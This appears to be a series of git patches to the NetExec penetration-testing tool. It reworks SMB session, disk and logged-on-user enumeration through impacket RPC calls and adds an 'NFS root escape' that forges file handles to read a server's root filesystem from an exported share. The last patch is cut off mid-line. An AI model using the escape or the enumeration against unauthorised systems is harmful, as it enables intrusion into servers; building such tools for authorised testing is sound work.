2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 26 Feb 2025 22:52:21 +0100 Subject: [PATCH 283/376] rework smb function to remove pywerview dependency --- nxc/protocols/smb.py | 283 +++++++--------------------------- nxc/protocols/smb/samrfunc.py | 1 + pyproject.toml | 1 - 3 files changed, 56 insertions(+), 229 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 50827a74..89fa6c8e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -14,7 +14,7 @@ from impacket.examples.secretsdump import ( NTDSHashes, ) from impacket.nmb import NetBIOSError, NetBIOSTimeout -from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp +from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, samr, wkst from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE @@ -56,8 +56,6 @@ from dploot.triage.credentials import CredentialsTriage from dploot.lib.target import Target from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection -from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup - from time import time, ctime from datetime import datetime from functools import wraps @@ -1085,112 +1083,53 @@ class smb(connection): def smb_sessions(self): try: - sessions = get_netsession( - self.host, - self.domain, - self.username, - self.password, - self.lmhash, - self.nthash, - ) + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), + filename=r'\srvsvc', smb_connection=self.conn) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + response = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) self.logger.display("Enumerated sessions") - for session in sessions: - if session.sesi10_cname.find(self.local_ip) == -1: - self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") - return sessions + for session in response['InfoStruct']['SessionInfo']['Level10']['Buffer']: + if session['sesi10_cname'][:-1][2:] != self.local_ip: + self.logger.highlight(f"{session['sesi10_cname'][:-1][2:]:<25} User:{session['sesi10_username'][:-1]}") except Exception as e: - self.logger.debug(e) + self.logger.fail(f"Failed to enumerate sessions: {e}") def disks(self): disks = [] try: - disks = get_localdisks( - self.host, - self.domain, - self.username, - self.password, - self.lmhash, - self.nthash, - ) + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), + filename=r'\srvsvc', smb_connection=self.conn) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + response = srvs.hNetrServerDiskEnum(dce, 0) + # Process the response self.logger.display("Enumerated disks") - for disk in disks: - self.logger.highlight(disk.disk) + for disk in response['DiskInfoStruct']['Buffer']: + if disk['Disk'] != '\x00': + self.logger.highlight(disk['Disk']) except Exception as e: - error, desc = e.getErrorString() - self.logger.fail( - f"Error enumerating disks: {error}", - color="magenta" if error in smb_error_status else "red", - ) + self.logger.fail(f"Failed to enumerate disks: {e}") return disks def local_groups(self): - groups = [] - # To enumerate local groups the DC IP is optional - # if specified it will resolve the SIDs and names of any domain accounts in the local group - for dc_ip in self.get_dc_ips(): - try: - groups = get_netlocalgroup( - self.host, - dc_ip, - "", - self.username, - self.password, - self.lmhash, - self.nthash, - queried_groupname=self.args.local_groups, - list_groups=bool(not self.args.local_groups), - recurse=False, - ) + + self.logger.display("Trying with SAMRPC protocol") + groups = SamrFunc(self).get_local_groups() + if groups: + self.logger.success("Enumerated local groups") + self.logger.debug(f"Local groups: {groups}") - if self.args.local_groups: - self.logger.success("Enumerated members of local group") - else: - self.logger.success("Enumerated local groups") + for group_name, group_rid in groups.items(): + self.logger.highlight(f"{group_rid} - {group_name}") + group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] + self.logger.debug(f"Added group, returned id: {group_id}") - for group in groups: - if group.name: - if not self.args.local_groups: - self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}") - group_id = self.db.add_group( - self.hostname, - group.name, - member_count_ad=group.membercount, - )[0] - else: - domain, name = group.name.split("/") - self.logger.highlight(f"domain: {domain}, name: {name}") - self.logger.highlight(f"{domain.upper()}\\{name}") - try: - group_id = self.db.get_groups( - group_name=self.args.local_groups, - group_domain=domain, - )[0][0] - except IndexError: - group_id = self.db.add_group( - domain, - self.args.local_groups, - member_count_ad=group.membercount, - )[0] - - # domain groups can be part of a local group which is also part of another local group - if not group.isgroup: - self.db.add_credential("plaintext", domain, name, "", group_id, "") - elif group.isgroup: - self.db.add_group(domain, name, member_count_ad=group.membercount) - break - except Exception as e: - self.logger.fail(f"Error enumerating local groups of {self.host}: {e}") - self.logger.display("Trying with SAMRPC protocol") - groups = SamrFunc(self).get_local_groups() - if groups: - self.logger.success("Enumerated local groups") - self.logger.debug(f"Local groups: {groups}") - - for group_name, group_rid in groups.items(): - self.logger.highlight(f"rid => {group_rid} => {group_name}") - group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] - self.logger.debug(f"Added group, returned id: {group_id}") return groups def domainfromdsn(self, dsn): @@ -1208,97 +1147,8 @@ class smb(connection): return domain, dnsparts[0] + "$" def groups(self): - groups = [] - for dc_ip in self.get_dc_ips(): - if self.args.groups: - try: - groups = get_netgroupmember( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_groupname=self.args.groups, - queried_sid="", - queried_domain="", - ads_path="", - recurse=False, - use_matching_rule=False, - full_data=False, - custom_filter="", - ) - - self.logger.success("Enumerated members of domain group") - for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight(f"{group.memberdomain}\\{group.membername}") - try: - group_id = self.db.get_groups( - group_name=self.args.groups, - group_domain=group.groupdomain, - )[0][0] - except IndexError: - group_id = self.db.add_group( - group.groupdomain, - self.args.groups, - member_count_ad=member_count, - )[0] - if not group.isgroup: - self.db.add_credential( - "plaintext", - group.memberdomain, - group.membername, - "", - group_id, - "", - ) - elif group.isgroup: - group_id = self.db.add_group( - group.groupdomain, - group.groupname, - member_count_ad=member_count, - )[0] - break - except Exception as e: - self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}") - else: - try: - groups = get_netgroup( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_groupname="", - queried_sid="", - queried_username="", - queried_domain="", - ads_path="", - admin_count=False, - full_data=True, - custom_filter="", - ) - - self.logger.success("Enumerated domain group(s)") - for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}") - - if bool(group.isgroup) is True: - # Since there isn't a groupmember attribute on the returned object from get_netgroup - # we grab it from the distinguished name - domain = self.domainfromdsn(group.distinguishedname) - group_id = self.db.add_group( - domain, - group.samaccountname, - member_count_ad=member_count, - )[0] - break - except Exception as e: - self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}") - return groups + self.logger.display("Arg moved to the ldap protocol") + return def users(self): if len(self.args.users) > 0: @@ -1306,51 +1156,28 @@ class smb(connection): return UserSamrDump(self).dump(self.args.users) def computers(self): - hosts = [] - for dc_ip in self.get_dc_ips(): - try: - hosts = get_netcomputer( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_domain="", - ads_path="", - custom_filter="", - ) - - self.logger.success("Enumerated domain computer(s)") - for host in hosts: - domain, host_clean = self.domainfromdnshostname(host.dnshostname) - self.logger.highlight(f"{domain}\\{host_clean:<30}") - break - except Exception as e: - self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}") - break - return hosts + self.logger.display("Arg moved to the ldap protocol") + return def loggedon_users(self): - logged_on = [] + logged_on = set() try: - logged_on = get_netloggedon( - self.host, - self.domain, - self.username, - self.password, - lmhash=self.lmhash, - nthash=self.nthash, - ) - logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on} - self.logger.success("Enumerated logged_on users") - if self.args.loggedon_users_filter: - for user in logged_on: - if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]): - self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}") - else: - for user in logged_on: - self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}") + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), + filename=r'\wkssvc', smb_connection=self.conn) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + + response = wkst.hNetrWkstaUserEnum(dce, 1) + for user in response['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: + user_info = (user['wkui1_logon_domain'][:-1], user['wkui1_username'][:-1], user['wkui1_logon_server'][:-1]) + if user_info not in logged_on: + logged_on.add(user_info) + if self.args.loggedon_users_filter: + if re.match(self.args.loggedon_users_filter, user_info[1]): + self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") + else: + self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index ef849be5..ae672523 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -26,6 +26,7 @@ class SamrFunc: self.aesKey = connection.aesKey self.doKerberos = connection.kerberos self.kdcHost = connection.kdcHost + self.host = connection.host if self.hash is not None: if self.hash.find(":") != -1: diff --git a/pyproject.toml b/pyproject.toml index dbea2e61..5936b659 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -59,7 +59,6 @@ pylnk3 = "^0.4.2" pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" } pypsrp = "^0.8.1" pypykatz = "^0.6.8" -pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) python-dateutil = ">=2.8.2" python-libnmap = "^0.7.3" requests = ">=2.27.1" From 4cc5d87d12e4ab886c33f27bf3497afa7d12e4f3 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 26 Feb 2025 23:00:13 +0100 Subject: [PATCH 284/376] remove smb-session option --- nxc/protocols/smb.py | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 89fa6c8e..8b42430d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1082,20 +1082,8 @@ class smb(connection): return dc_ips def smb_sessions(self): - try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), - filename=r'\srvsvc', smb_connection=self.conn) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - response = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) - self.logger.display("Enumerated sessions") - for session in response['InfoStruct']['SessionInfo']['Level10']['Buffer']: - if session['sesi10_cname'][:-1][2:] != self.local_ip: - self.logger.highlight(f"{session['sesi10_cname'][:-1][2:]:<25} User:{session['sesi10_username'][:-1]}") - except Exception as e: - self.logger.fail(f"Failed to enumerate sessions: {e}") + self.logger.display("Use option qwinsta or loggedon-users") + return def disks(self): disks = [] From 0083554cca4aad004447b79399ea16a52da0d68d Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 26 Feb 2025 23:00:51 +0100 Subject: [PATCH 285/376] ruff fix --- nxc/protocols/smb.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 8b42430d..7657c2b5 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -14,7 +14,7 @@ from impacket.examples.secretsdump import ( NTDSHashes, ) from impacket.nmb import NetBIOSError, NetBIOSTimeout -from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, samr, wkst +from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE @@ -1089,7 +1089,7 @@ class smb(connection): disks = [] try: rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), - filename=r'\srvsvc', smb_connection=self.conn) + filename=r"\srvsvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) @@ -1097,9 +1097,9 @@ class smb(connection): response = srvs.hNetrServerDiskEnum(dce, 0) # Process the response self.logger.display("Enumerated disks") - for disk in response['DiskInfoStruct']['Buffer']: - if disk['Disk'] != '\x00': - self.logger.highlight(disk['Disk']) + for disk in response["DiskInfoStruct"]["Buffer"]: + if disk["Disk"] != "\x00": + self.logger.highlight(disk["Disk"]) except Exception as e: self.logger.fail(f"Failed to enumerate disks: {e}") @@ -1151,14 +1151,14 @@ class smb(connection): logged_on = set() try: rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), - filename=r'\wkssvc', smb_connection=self.conn) + filename=r"\wkssvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) response = wkst.hNetrWkstaUserEnum(dce, 1) - for user in response['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: - user_info = (user['wkui1_logon_domain'][:-1], user['wkui1_username'][:-1], user['wkui1_logon_server'][:-1]) + for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]: + user_info = (user["wkui1_logon_domain"][:-1], user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) if user_info not in logged_on: logged_on.add(user_info) if self.args.loggedon_users_filter: From 45ea1de21318c548b7b7398ee80e128e47b06519 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 26 Feb 2025 23:02:48 +0100 Subject: [PATCH 286/376] add poetry.lock --- poetry.lock | 34 ++-------------------------------- 1 file changed, 2 insertions(+), 32 deletions(-) diff --git a/poetry.lock b/poetry.lock index 157c33bd..4024b454 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.0 and should not be changed by hand. [[package]] name = "aardwolf" @@ -359,20 +359,6 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" -[[package]] -name = "bs4" -version = "0.0.2" -description = "Dummy package for Beautiful Soup (beautifulsoup4)" -optional = false -python-versions = "*" -files = [ - {file = "bs4-0.0.2-py2.py3-none-any.whl", hash = "sha256:abf8742c0805ef7f662dce4b51cca104cffe52b835238afc169142ab9b3fbccc"}, - {file = "bs4-0.0.2.tar.gz", hash = "sha256:a48685c58f50fe127722417bae83fe6badf500d54b55f7e39ffe43b798653925"}, -] - -[package.dependencies] -beautifulsoup4 = "*" - [[package]] name = "certifi" version = "2024.8.30" @@ -2049,22 +2035,6 @@ files = [ {file = "pytz-2024.2.tar.gz", hash = "sha256:2aa355083c50a0f93fa581709deac0c9ad65cca8a9e9beac660adcbd493c798a"}, ] -[[package]] -name = "pywerview" -version = "0.3.3" -description = "A Python port of PowerSploit's PowerView" -optional = false -python-versions = "*" -files = [ - {file = "pywerview-0.3.3-py3-none-any.whl", hash = "sha256:66e8135456bb47c88a00a00caf8f4a19b63f9e7bbb00774e99720f3b21b50f63"}, - {file = "pywerview-0.3.3.tar.gz", hash = "sha256:adc8797976659efeadf3e2fd583430b80c28ed76e0ca54ecb8dc95b6030c6d5c"}, -] - -[package.dependencies] -bs4 = "*" -impacket = ">=0.9.22" -lxml = "*" - [[package]] name = "requests" version = "2.32.3" @@ -2510,4 +2480,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "6a4e460ce87103f0a4f9eeddbf78d48cd9e8dc6092457187f2deef26b0ccdfc4" +content-hash = "832b29afd18c39c9aeffc2b8910afcfa9e940b845298adbffd72d6abd75b526b" From 5da61176b4e3603d56406415f5913d205585c27e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 17:46:23 -0500 Subject: [PATCH 287/376] Linting --- nxc/protocols/smb.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 7ad04378..b74f007d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -930,18 +930,18 @@ class smb(connection): return self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(sessions[i]["SessionName"])+1 for i in sessions]) - maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 - maxUsernameLen = max([len(sessions[i]["Username"]+sessions[i]["Domain"])+1 for i in sessions])+1 - maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 + maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 + maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 maxIdLen = max([len(str(i)) for i in sessions]) - maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 - maxStateLen = max([len(sessions[i]["state"])+1 for i in sessions]) - maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 - maxRemoteIp = max([len(sessions[i]["RemoteIp"])+1 for i in sessions]) - maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 - maxClientName = max([len(sessions[i]["ClientName"])+1 for i in sessions]) - maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 + maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 + maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 + maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " "{ID: <%d} " @@ -1022,7 +1022,7 @@ class smb(connection): procInfo["UniqueProcessId"], procInfo["SessionId"], procInfo["pSid"], - "{:,} K".format(procInfo["WorkingSetSize"]//1000), + "{:,} K".format(procInfo["WorkingSetSize"] // 1000), ) self.logger.highlight(row) From 4571f93dce7f4770ae6efdc81868cd22e387d10e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 17:35:48 -0500 Subject: [PATCH 288/376] Working on nfs root escape --- nxc/protocols/nfs.py | 74 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 59 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 6f310940..5a7d7b8b 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -3,16 +3,15 @@ from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight from pyNfsClient import ( Portmap, - Mount, - NFSv3, - NFS_PROGRAM, - NFS_V3, - ACCESS3_READ, - ACCESS3_MODIFY, - ACCESS3_EXECUTE, - NFSSTAT3, - NF3DIR, - ) + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, +) import re import uuid import math @@ -403,7 +402,49 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - def get_root_handle(self, file_handle): + class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid + } + + fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, + } + + def get_root_handles(self, mount_fh): """ Get the root handle of the NFS share Sources: @@ -416,9 +457,11 @@ class nfs(connection): - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ - fh = bytearray(file_handle) + dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) + print(dir_data) + fh = bytearray(mount_fh) # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -432,8 +475,8 @@ class nfs(connection): for share in ["/var/nfs/general"]: mount_info = self.mount.mnt(share, self.auth) - fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handle(fh) + mount_fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handles(mount_fh) # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) @@ -445,6 +488,7 @@ class nfs(connection): content = entry["nextentry"] if "nextentry" in entry else None self.mount.umnt(self.auth) + def convert_size(size_bytes): if size_bytes == 0: return "0B" From d87c379ac5628459db5dde1add598ef1e26aa08a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 19:27:53 -0500 Subject: [PATCH 289/376] NFS root escape automated for each share --- nxc/protocols/nfs.py | 188 +++++++++++++++++++++++++++++-------------- 1 file changed, 127 insertions(+), 61 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 3994477f..798c0d27 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -21,6 +21,52 @@ import os from pprint import pprint +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -402,66 +448,70 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - class FileID: - root = "root" - ext = "ext/xfs" - btrfs = "btrfs" - udf = "udf" - nilfs = "nilfs" - fat = "fat" - lustre = "lustre" - kernfs = "kernfs" - invalid = "invalid" - unknown = "unknown" - - fileid_types = { - 0: FileID.root, - 1: FileID.ext, - 2: FileID.ext, - 0x81: FileID.ext, - 0x4d: FileID.btrfs, - 0x4e: FileID.btrfs, - 0x4f: FileID.btrfs, - 0x51: FileID.udf, - 0x52: FileID.udf, - 0x61: FileID.nilfs, - 0x62: FileID.nilfs, - 0x71: FileID.fat, - 0x72: FileID.fat, - 0x97: FileID.lustre, - 0xfe: FileID.kernfs, - 0xff: FileID.invalid - } - - fsid_lens = { - 0: 8, - 1: 4, - 2: 12, - 3: 8, - 4: 8, - 5: 8, - 6: 16, - 7: 24, - } - def get_root_handles(self, mount_fh): """ - Get the root handle of the NFS share + Get possible root handles to escape to the root filesystem Sources: - https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py Usually: - 1 byte: 0x01 fb_version - - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - - 1 byte: 0xXX fb_fileid_type + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type """ - dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) - print(dir_data) + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.info(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) - # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + + return root_handles + + def try_root_escape(self, mount_fh): + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + return fh def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -473,20 +523,36 @@ class nfs(connection): reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) - for share in ["/var/nfs/general"]: + for share in shares: mount_info = self.mount.mnt(share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handles(mount_fh) + root_fh = self.try_root_escape(mount_fh) + if not root_fh: + self.mount.umnt(self.auth) + continue - # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) - - content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] - self.logger.success(f"Using share '{share}' for escape to root fs") - while content: - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") - content = entry["nextentry"] if "nextentry" in entry else None + self.logger.success(f"Successful escape on share: {share}") + content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") self.mount.umnt(self.auth) + break + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = 